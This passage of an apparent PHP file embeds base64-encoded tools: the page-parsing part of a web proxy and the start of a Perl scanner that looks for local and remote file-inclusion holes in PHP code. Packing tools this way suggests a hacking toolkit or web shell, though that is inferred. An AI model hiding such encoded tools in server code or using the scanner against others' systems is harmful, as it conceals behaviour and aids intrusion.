  1596. CiRwYWdlc3R1ZmY9Z2V0cGFnZSgkY3Vycl91cmwpOwokYm9keT0kcGFnZXN0dWZmWzBdOwoKJHRi
  1597. b2R5PXRyaW0oJGJvZHkpOwppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9
  1598. PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpewoJ
  1599. ZWNobyAkYm9keTsKCWZpbmlzaCgpOwp9CnVuc2V0KCR0Ym9keSk7CgokY3Vycl91cmw9JHBhZ2Vz
  1600. dHVmZlsxXTsKZGVmaW5lKCdQQUdFQ09PS19QUkVGSVgnLCRwYWdlc3R1ZmZbMl0pOwp1bnNldCgk
  1601. cGFnZXN0dWZmKTsKZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAt
  1602. OVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoKCiMg
  1603. fX19CgojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HIHt7ewoKaWYoc3RycG9zKCRib2R5
  1604. LCc8YmFzZScpKXsKCSRiYXNlPXByZWdfcmVwbGFjZSgnL14uKicuQkFTRV9SRUdFWFAuJy4qJC9p
  1605. cycsJ1wxJywkYm9keSk7CglpZighZW1wdHkoJGJhc2UpICYmICRiYXNlIT0kYm9keSAmJiAhZW1w
  1606. dHkoJGJhc2V7MTAwfSkpewoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9p
  1607. JyxudWxsLCRib2R5KTsKCgkJLy9wcmVnX21hdGNoKCcvXihbIlwnXSkuKlwxJC9pJywkYmFzZSk+
  1608. MAoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNl
  1609. ezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQoJCQkkYmFzZT1zdWJzdHIoJGJh
  1610. c2UsMSxzdHJsZW4oJGJhc2UpLTIpOyAjKgoJCSRjdXJyX3VybD0kYmFzZTsKCX0KCXVuc2V0KCRi
  1611. YXNlKTsKfQoKZ2xvYmFsICRjdXJyX3VybG9iajsKJGN1cnJfdXJsb2JqPW5ldyBhdXJsKCRjdXJy
  1612. X3VybCk7CgojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQQVJTSU5HIEZVTkNUSU9O
  1613. UyB7e3sKCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRk
  1614. cHJveHksJGZyYW1pZnkpewoJZ2xvYmFsICRjdXJyX3VybG9iajsKCSRuZXdodG1sPW51bGw7Cgl3
  1615. aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRV
  1616. UkUpKXsKCQkkbnVybD1zdXJyb2dhZnlfdXJsKCRtYXRjaGFyclskcGFydG9wYXJzZV1bMF0sJGN1
  1617. cnJfdXJsb2JqLCRhZGRwcm94eSk7CgkJaWYoJGZyYW1pZnkpICRudXJsPWZyYW1pZnlfdXJsKCRu
  1618. dXJsLCRmcmFtaWZ5KTsKCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsKCQkkZW5k
  1619. PSRtYXRjaGFyclskcGFydG9wYXJzZV1bMV0rc3RybGVuKCRtYXRjaGFyclskcGFydG9wYXJzZV1b
  1620. MF0pOwoJCSRuZXdodG1sLj1zdWJzdHJfcmVwbGFjZSgkaHRtbCwkbnVybCwkYmVnaW4pOwoJCSRo
  1621. dG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7Cgl9CgkkbmV3aHRtbC49
  1622. JGh0bWw7CglyZXR1cm4gJG5ld2h0bWw7Cn0KCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVn
  1623. ZXhwX2FycmF5LCR0aGV2YXIpewoJIyRyZWdleHBfYXJyYXlbMl0uPSdTJzsgIyBpbiBiZW5jaG1h
  1624. cmtzLCB0aGlzICdvcHRpbWl6YXRpb24nIGFwcGVhcmVkIHRvIG5vdCBkbyBhbnl0aGluZyBhdCBh
  1625. bGwsIG9yIHBvc3NpYmx5IGV2ZW4gc2xvdyB0aGluZ3MgZG93bgoJaWYoJHJlZ2V4cF9hcnJheVsw
  1626. XT09MSkgJG5ld3Zhcj1wcmVnX3JlcGxhY2UoJHJlZ2V4cF9hcnJheVsyXSwkcmVnZXhwX2FycmF5
  1627. WzNdLCR0aGV2YXIpOwoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpewoJCSRhZGRwcm94eT0o
  1628. aXNzZXQoJHJlZ2V4cF9hcnJheVs0XSk/JHJlZ2V4cF9hcnJheVs0XTp0cnVlKTsKCQkkZnJhbWlm
  1629. eT0oaXNzZXQoJHJlZ2V4cF9hcnJheVs1XSk/JHJlZ2V4cF9hcnJheVs1XTpmYWxzZSk7CgkJJG5l
  1630. d3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFy
  1631. LCRhZGRwcm94eSwkZnJhbWlmeSk7Cgl9CglyZXR1cm4gJG5ld3ZhcjsKfQoKZnVuY3Rpb24gcGFy
  1632. c2VfYWxsX2h0bWwoJGh0bWwpewoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOwoKCWlmKENPTlRFTlRf
  1633. VFlQRSE9J3RleHQvaHRtbCcpewoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5
  1634. LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7CgkJCWlmKCRrZXk9PUNPTlRFTlRfVFlQRSl7
  1635. CgkJCQlmb3JlYWNoKCRhcnIgYXMgJHJlZ2Fycil7CgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29u
  1636. dGludWU7CgkJCQkJJGh0bWw9cmVndWxhcl9leHByZXNzKCRyZWdhcnIsJGh0bWwpOwoJCQkJfQoJ
  1637. CQl9CgkJfQoJCXJldHVybiAkaHRtbDsKCX0KCgkjaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJF
  1638. Ri4nX3JlbW92ZV9zY3JpcHRzJ10pKSAkc3BsaXRhcnI9YXJyYXkoJGh0bWwpOwoJJHNwbGl0YXJy
  1639. PXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2Ny
  1640. aXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7
  1641. Cgl1bnNldCgkaHRtbCk7CgoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25b
  1642. YS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1te
  1643. IlwnID5dKSknKTsKCSRmaXJzdHJ1bj10cnVlOwoJJGZpcnN0anNydW49dHJ1ZTsKCWZvcihyZXNl
  1644. dCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7
  1645. CgkJaWYoJGtleT09J3RleHQvamF2YXNjcmlwdCcpIGNvbnRpbnVlOwoKCQkvLyBPUFRJT04xOiB1
  1646. c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMKCQkv
  1647. LyBhbmQgYWxsIEhUTUwgbW9kaWZ5aW5nIEphdmFzY3JpcHQgUkVHRVhQUyBhcmUgcGVyZm9ybWVk
  1648. IGFmdGVyIEhUTUwgcmVnZXhwcwoJCS8vIFRoaXMgZ2l2ZXMgYSBwcmV0dHkgc2lnbmlmaWNhbnQg
  1649. c3BlZWQgYm9vc3QKCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBj
  1650. b21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUCgkJaWYoJGZpcnN0anNy
  1651. dW4gJiYgJGtleT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcpewoJCQlpZighZW1wdHkoJF9D
  1652. T09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpIGJyZWFrOwoJCQkkc3BsaXRhcnIy
  1653. PWFycmF5KCk7CgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpewoJCQkJJHNw
  1654. bGl0YXJyMlskaV09cHJlZ19zcGxpdCgnLycuUkVHRVhQX1NDUklQVF9PTkVWRU5ULicvaXMnLCRz
  1655. cGxpdGFyclskaV0sLTEsUFJFR19TUExJVF9ERUxJTV9DQVBUVVJFKTsKCQkJfQoJCX0KCQkvLyBF
  1656. TkQgT1BUSU9OMQoKCQkjIGZpcnN0cnVuIHJlbW92ZSBzY3JpcHRzOiBvbjxldmVudD5zIGFuZCBu
  1657. b3NjcmlwdCB0YWdzOyBhbHNvIHJlbW92ZSBvYmplY3RzCgkJaWYoJGZpcnN0cnVuICYmICghZW1w
  1658. dHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgfHwgIWVtcHR5KCRfQ09P
  1659. S0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSl7CgkJCWZvcigkaT0wOyRpPGNvdW50
  1660. KCRzcGxpdGFycik7JGkrPTIpewoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Jl
  1661. bW92ZV9zY3JpcHRzJ10pKQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvKD86Jy5S
  1662. RUdFWFBfU0NSSVBUX09ORVZFTlQuJ3w8Lj9ub3NjcmlwdD4pL2lzJyxudWxsLCRzcGxpdGFyclsk
  1663. aV0pOwoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10p
  1664. KQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvPChlbWJlZHxvYmplY3QpLio/PFwv
  1665. XDE+L2lzJyxudWxsLCRzcGxpdGFyclskaV0pOwoJCQl9CgkJfQoKCQlmb3JlYWNoKCRhcnIgYXMg
  1666. JHJlZ2V4cF9hcnJheSl7CgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOwoJCQlm
  1667. b3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKyspewoKCQkJCSMgcGFyc2Ugc2NyaXB0cyBm
  1668. b3Igb248ZXZlbnQ+cwoJCQkJaWYoJGklMj09MCAmJiBpc3NldCgkc3BsaXRhcnIyKSAmJiAkcmVn
  1669. ZXhwX2FycmF5WzFdPT0yKXsgLy8gT1BUSU9OMQoKCQkJCS8vIE9QVElPTjIKCQkJCS8vaWYoJHJl
  1670. Z2V4cF9hcnJheVsxXT09MiAmJiAkaSUyPT0wKXsgLy8gT1BUSU9OMgoJCQkJCS8vJHNwbGl0YXJy
  1671. MlskaV09cHJlZ19zcGxpdCgnLyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/Olte
  1672. XCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSkvaXMnLCRzcGxpdGFyclskaV0sLTEsUFJF
  1673. R19TUExJVF9ERUxJTV9DQVBUVVJFKTsKCQkJCQkvLyBFTkQgT1BUSU9OMgoKCQkJCQkvL2lmKGNv
  1674. dW50KCRzcGxpdGFycjJbJGldKTwyKSAkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVn
  1675. ZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOyAvLyBVTlJFTEFURUQgVE8gT1BUSU9OUwoJCQkJCWlm
  1676. KGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsKCQkJCQkJZm9yKCRqPTE7JGo8Y291bnQoJHNwbGl0
  1677. YXJyMlskaV0pOyRqKz0yKXsKCQkJCQkJCSRiZWdpbj1wcmVnX3JlcGxhY2UoJy9eKFtePV0rPS4p
  1678. LiokL2knLCdcMScsJHNwbGl0YXJyMlskaV1bJGpdKTsKCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJl
  1679. Z2luLC0xKTsKCQkJCQkJCWlmKCRxdW90ZSE9JyInICYmICRxdW90ZSE9J1wnJyl7CgkJCQkJCQkJ
  1680. JHF1b3RlPW51bGw7CgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7CgkJCQkJCQl9
  1681. CgkJCQkJCQkkY29kZT1wcmVnX3JlcGxhY2UoJy9eW149XSs9Jy4oJHF1b3RlPT1udWxsPycoLiop
  1682. JC9pJzonLiguKikuJC9pJyksJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOwoJCQkJCQkJaWYoc3Vi
  1683. c3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsKCQkJCQkJCQkkYmVnaW4uPSdqYXZhc2Ny
  1684. aXB0Oic7CgkJCQkJCQkJJGNvZGU9c3Vic3RyKCRjb2RlLDExKTsKCQkJCQkJCX0KCQkJCQkJCWlm
  1685. KCRmaXJzdGpzcnVuKSAkY29kZT0iO3skY29kZX07IjsKCQkJCQkJCSRzcGxpdGFycjJbJGldWyRq
  1686. XT0kYmVnaW4ucmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJGNvZGUpLiRxdW90ZTsKCQkJ
  1687. CQkJfQoJCQkJCQkvLyRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsg
  1688. Ly8gT1BUSU9OMgoJCQkJCX0KCQkJCX0KCgkJCQkjIHJlbW92ZSBzY3JpcHRzCgkJCQllbHNlaWYo
  1689. JGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cydd
  1690. KSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpCgkJ
  1691. CQkJJHNwbGl0YXJyWyRpXT1udWxsOwoKCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYKCQkJCWVsc2Vp
  1692. ZigoJGklMj09MCAmJiAkcmVnZXhwX2FycmF5WzFdPT0xKSB8fCAoJHJlZ2V4cF9hcnJheVsxXT09
  1693. MiAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpIHx8
  1694. ICgka2V5PT0ndGV4dC9jc3MnICYmIHN0cnRvbG93ZXIoc3Vic3RyKCRzcGxpdGFyclskaV0sMCw2
  1695. KSk9PSc8c3R5bGUnKSl7CgkJCQkJJHNwbGl0YXJyWyRpXT1yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4
  1696. cF9hcnJheSwkc3BsaXRhcnJbJGldKTsKCQkJCX0KCgkJCQkjIHNjcmlwdCBwdXJnZSBjbGVhbnVw
  1697. CgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3Nj
  1698. cmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3Jp
  1699. cHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7CgkJCQkJ
  1700. JHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8nLkVORF9PRl9TQ1JJUFRfVEFHLickL2knLCc7
  1701. Jy5DT09LX1BSRUYuJy5wdXJnZSgpOy8vLS0+PC9zY3JpcHQ+Jywkc3BsaXRhcnJbJGldKTsKCQkJ
  1702. CX0KCgkJCX0KCgkJCSRmaXJzdHJ1bj1mYWxzZTsKCQkJaWYoJGZpcnN0anNydW4gJiYgJGtleT09
  1703. J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcpCgkJCQkkZmlyc3Rqc3J1bj1mYWxzZTsKCQl9Cgl9
  1704. CgoJLy8gT1BUSU9OMQoKCWlmKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3Jp
  1705. cHRzJ10pKXsKCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsKCQkJJHNwbGl0
  1706. YXJyWyRpXT1pbXBsb2RlKG51bGwsJHNwbGl0YXJyMlskaV0pOwoJCX0KCX0KCS8vIEVORCBPUFRJ
  1707. T04xCgoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOwp9CgojIH19fQoKLy8kc3RhcnR0
  1708. aW1lPW1pY3JvdGltZSh0cnVlKTsgIyBCRU5DSE1BUksKJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJv
  1709. ZHkpOwovLyRwYXJzZXRpbWU9bWljcm90aW1lKHRydWUpLSRzdGFydHRpbWU7ICMgQkVOQ0hNQVJL
  1710. CgojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJ
  1711. UFQge3t7CgppZihDT05URU5UX1RZUEU9PSd0ZXh0L2h0bWwnKXsKCSRiaWdfaGVhZGVycz0nPG1l
  1712. dGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLgoJCQkoUEFH
  1713. RVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfUEFHRT8nPGJhc2UgdGFyZ2V0PSJfdG9wIj4nOm51
  1714. bGwpLgoJCQknPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSInLnN1cnJvZ2FmeV91cmwo
  1715. JGN1cnJfdXJsb2JqLT5nZXRfcHJvdG8oKS4nOi8vJy4kY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJu
  1716. YW1lKCkuJy9mYXZpY29uLmljbycpLiciIC8+Jy4KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJF
  1717. Ri4nX3JlbW92ZV9zY3JpcHRzJ10pPwoJCQkJJzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0
  1718. IiBzcmM9IicuVEhJU19TQ1JJUFQuJz9qc19mdW5jcycuKFBBR0VfRlJBTUVEPydfZnJhbWVkJzpu
  1719. dWxsKS4nIj48L3NjcmlwdD4nLgoJCQkJJzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBz
  1720. cmM9IicuVEhJU19TQ1JJUFQuJz9qc19yZWdleHBzJy4oUEFHRV9GUkFNRUQ/J19mcmFtZWQnOm51
  1721. bGwpLiciPjwvc2NyaXB0PicuCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4K
  1722. CQkJCS8vJzwhLS0nLgoJCQkJQ09PS19QUkVGLicuRE9DVU1FTlRfUkVGRVJFUj0iJy4oVVJMX0ZP
  1723. Uk0/c3RyX3JlcGxhY2UoJyInLCdcXCInLCRyZWZlcmVyKTpudWxsKS4nIjsnLgoJCQkJQ09PS19Q
  1724. UkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0
  1725. X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7
  1726. Jy4KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX1NFQVJDSD0iJy4oJGN1cnJfdXJsb2JqLT5nZXRf
  1727. cXVlcnkoKSE9bnVsbD8nPycuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0
  1728. X3F1ZXJ5KCkpOm51bGwpLiciOycuCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9IT1NUTkFNRT0i
  1729. Jy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfc2VydmVybmFtZSgpKS4n
  1730. IjsnLgoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xc
  1731. IicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLgoJCQkJQ09PS19QUkVGLicuRU5D
  1732. UllQVF9VUkxTPScuYm9vbF90b19qcyhFTkNSWVBUX1VSTFMpLic7Jy4KCQkJCUNPT0tfUFJFRi4n
  1733. LkVOQ1JZUFRfQ09PS1M9Jy5ib29sX3RvX2pzKEVOQ1JZUFRfQ09PS1MpLic7Jy4KCQkJCUNPT0tf
  1734. UFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLgoJCQkJQ09PS19QUkVG
  1735. LicuUEFHRV9GUkFNRUQ9Jy5ib29sX3RvX2pzKFBBR0VfRlJBTUVEKS4nOycuCgkJCQlDT09LX1BS
  1736. RUYuIi5VU0VSQUdFTlQ9XCJ7JHVzZXJhZ2VudH1cIjsiLgoJCQkJKFVSTF9GT1JNICYmIFBBR0VU
  1737. WVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9
  1738. PScuQ09PS19QUkVGLicudGhldG9wKSAnLgoJCQkJCUNPT0tfUFJFRi4nLmV2ZW50aWZ5KCInLiRj
  1739. dXJyX3VybG9iai0+Z2V0X3Byb3RvKCkuJyIsIicuJGN1cnJfdXJsb2JqLT5nZXRfc2VydmVybmFt
  1740. ZSgpLiciKTsnCgkJCQk6bnVsbCkuCgkJCQkvLycvLy0tPicuCgkJCQknPC9zY3JpcHQ+JwoJCQk6
  1741. bnVsbCkKCTsKCgkkYm9keT1wcmVnX3JlcGxhY2UoJy8oPzooPCg/OmhlYWR8Ym9keSlbXj5dKj4p
  1742. fCg8KD86XC9oZWFkfG1ldGF8bGlua3xzY3JpcHQpKSkvaScsIlxcMSRiaWdfaGVhZGVyc1xcMiIs
  1743. JGJvZHksMSk7Cgl1bnNldCgkYmlnX2hlYWRlcnMpOwp9CmVsc2VpZihDT05URU5UX1RZUEU9PSdh
  1744. cHBsaWNhdGlvbi94LWphdmFzY3JpcHQnIHx8IENPTlRFTlRfVFlQRT09J3RleHQvamF2YXNjcmlw
  1745. dCcpICRib2R5Lj0nOycuQ09PS19QUkVGLicucHVyZ2UoKTsnOwoKIyB9fX0KCiMgfX19CgojIyBS
  1746. ZXRyaWV2ZWQsIFBhcnNlZCwgQWxsIFJlYWR5IHRvIE91dHB1dCAjIwplY2hvICRib2R5OwovL2Vj
  1747. aG8gJ3RvdGFsIHRpbWU6ICcuKG1pY3JvdGltZSh0cnVlKS0kdG90c3RhcnR0aW1lKS4iPGJyIC8+
  1748. cGFyc2UgdGltZTogeyRwYXJzZXRpbWV9IHNlY29uZHMiLihpc3NldCgkb3BhcnNldGltZSk/Ijxi
  1749. ciAvPm90aGVyIHRpbWUgMTogeyRvcGFyc2V0aW1lfSBzZWNvbmRzIjpudWxsKS4oaXNzZXQoJG9w
  1750. YXJzZXRpbWUyKT8iPGJyIC8+b3RoZXIgdGltZSAyOiB7JG9wYXJzZXRpbWUyfSBzZWNvbmRzIjpu
  1751. dWxsKTsgIyBCRU5DSE1BUksKCiMgfX19CgpmaW5pc2goKTsKCiMjIyMjIyMjIyMjIwojIyBUSEUg
  1752. RU5EICMjCiMjIyMjIyMjIyMjIyMjCiMKIyBWSU0gaXMgdGhlIGlkZWFsIHdheSB0byBlZGl0IHRo
  1753. aXMgZmlsZS4gIEF1dG9tYXRpYyBmb2xkaW5nIG9jY3VycyBtYWtpbmcgdGhlCiMgYmxvY2tzIG9m
  1754. IGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlCiMgdmltOmZvbGRtZXRob2Q9bWFya2Vy
  1755. CiMKIyMjIyMjIyMjIyMjIyMjIyMjID8+Cg=
  1756. ";
  1757.  
  1758. $fi="
  1759. IyEvdXNyL2Jpbi9wZXJsIC13IA0KDQp1c2Ugc3RyaWN0OyANCnVzZSBGaWxlOjpGaW5kOyANCnVzZSBDd2Q7IA0KDQpteSAkc3Rkb3V0Q2hlY2sgPSAwOyANCm15ICRwcm9ncmFtSW5mbyA9IA0KJyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KIyAgTG9jYWwgTEZJL1JGSSBTY2FubmVyIGJ5IFJvbW5vdXMgICAgICAgICAgICAgICMgDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyANCiMgIFdpbGwgc2NhbiBsb2NhbCBQSFAgZmlsZXMgaW4gZGlyZWN0b3J5ICAgICAgICAjIA0KIyAgcGFzc2VkIGluIHRoZSBmaXJzdCBhcmd1bWVudCB0byB0aGUgc2NyaXB0ICAgICMgDQojICBmb3IgcG9zc2libGUgTEZJL1JGSSB2dWxuZXJhYmlsaXRpZXMuICAgICAgICAgIyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KJzsgDQoNCnByaW50ICRwcm9ncmFtSW5mbzsgDQoNCm15ICRwcm9ncmFtVXNhZ2UgPSANCicgDQpVc2FnZTogJyAuICQwIC4gJyBESVJOQU1FICgtdyBmaWxlKSANClVzZSBgLXcgZmlsZWAgYXQgdGhlIGVuZCB0byB3cml0ZSB0byBgZmlsZWAgDQonOyANCg0KbXkgJHNlYXJjaERpcmVjdG9yeSA9ICRBUkdWWzBdOyANCg0KdW5sZXNzICgkc2VhcmNoRGlyZWN0b3J5KSANCnsgDQogIHByaW50ICRwcm9ncmFtVXNhZ2UgYW5kIGRpZSgiXG4iKTsgDQp9IA0KDQpteSAkY3VycmVudERpcmVjdG9yeSA9IGdldGN3ZCAoKTsgDQoNCm91ciAkZGlyZWN0b3J5Q291bnQgPSAwOyANCm91ciAkZmlsZUNvdW50ID0gMDsgDQpvdXIgJHZ1bG5lcmFiaWxpdHlDb3VudCA9IDA7IA0KDQppZiAoJEFSR1ZbMV0gZXEgJy13JykgDQp7IA0KICAkc3Rkb3V0Q2hlY2sgPSAxOyANCiAgb3BlbiAoU1RET1VULCAnPicgLiAkQVJHVlsyXSk7IA0KfSANCg0KZmluZCAoXCZwcm9jZXNzT2JqZWN0LCAiJGN1cnJlbnREaXJlY3RvcnkvJHNlYXJjaERpcmVjdG9yeSIpOyANCg0KJHN0ZG91dENoZWNrID09IDEgPyAocHJpbnQgJ0ZpbmlzaGVkIScgLiAiXG4iKSA6IChwcmludCAiXDAzM1sxbSIgLiAnRmluaXNoZWQhJyAuICJcMDMzWzBtXG4iKTsgDQpwcmludCAnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nIC4gIlxuIjsgDQpwcmludCAnRGlyZWN0b3JpZXMgc2Nhbm5lZDogJyAuICRkaXJlY3RvcnlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0ZpbGVzIHNjYW5uZWQ6ICcgLiAkZmlsZUNvdW50IC4gIlxuIjsgDQpwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0aWVzOiAnIC4gJHZ1bG5lcmFiaWxpdHlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0V4ZWN1dGlvbiB0aW1lOiAnIC4gKHRpbWUgLSAkXlQpIC4gJyBzZWNvbmQocykuJyAuICJcblxuIjsgDQoNCmlmICgkc3Rkb3V0Q2hlY2spIA0KeyANCiAgY2xvc2UgKFNURE9VVCk7IA0KfSANCg0Kc3ViIHByb2Nlc3NPYmplY3QgDQp7IA0KDQogIGlmICgtZiAkRmlsZTo6RmluZDo6bmFtZSBhbmQgJEZpbGU6OkZpbmQ6Om5hbWUgPX4gbS9cLihwaHRtbHxwaHB8cGhwM3xwaHA0KSQvKSANCiAgeyANCiAgICAkZmlsZUNvdW50Kys7IA0KICAgIG9wZW4gKHBocEZpbGUsICRGaWxlOjpGaW5kOjpuYW1lKSBvciByZXR1cm4gJ1VuYWJsZSB0byBvcGVuIGZpbGUgIicgLiAkRmlsZTo6RmluZDo6bmFtZSAuICciLCBjaGVjayBwZXJtaXNzaW9ucz8nIC4gIlxuIjsgDQogICAgbXkgQGZpbGVTdHJpbmdzID0gPHBocEZpbGU+OyANCiAgICBjbG9zZShwaHBGaWxlKTsgDQogICAgbXkgJHRvdGFsTGluZXMgPSAkI2ZpbGVTdHJpbmdzOyANCiAgICBmb3IgKG15ICRzdHJpbmdDb3VudCA9IDA7ICRzdHJpbmdDb3VudCA8PSAkdG90YWxMaW5lczsgJHN0cmluZ0NvdW50KyspIA0KICAgIHsgDQogICAgICBpZiAoJGZpbGVTdHJpbmdzWyRzdHJpbmdDb3VudF0gPX4gbS8oKD86aW5jbHVkZXxyZXF1aXJlKSg/O